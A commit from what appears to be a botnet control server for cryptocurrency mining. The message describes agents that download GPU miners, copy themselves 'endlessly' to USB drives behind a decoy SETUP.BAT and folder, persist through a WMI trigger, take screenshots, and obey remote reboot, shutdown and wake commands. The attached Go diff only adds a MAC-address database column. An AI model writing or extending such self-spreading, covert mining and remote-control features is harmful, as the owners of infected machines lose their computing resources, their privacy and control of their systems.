Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/internal/db/agent_meta.go

@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
 		&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
 		&a.SharesTotal, &a.SharesGood, &a.SharesBad,
 		&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
-		&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
+		&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
 	)
 	if err != nil {
 		return nil, err
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
 
 const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
 		hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
-		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
+		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
 
 func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
 	_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)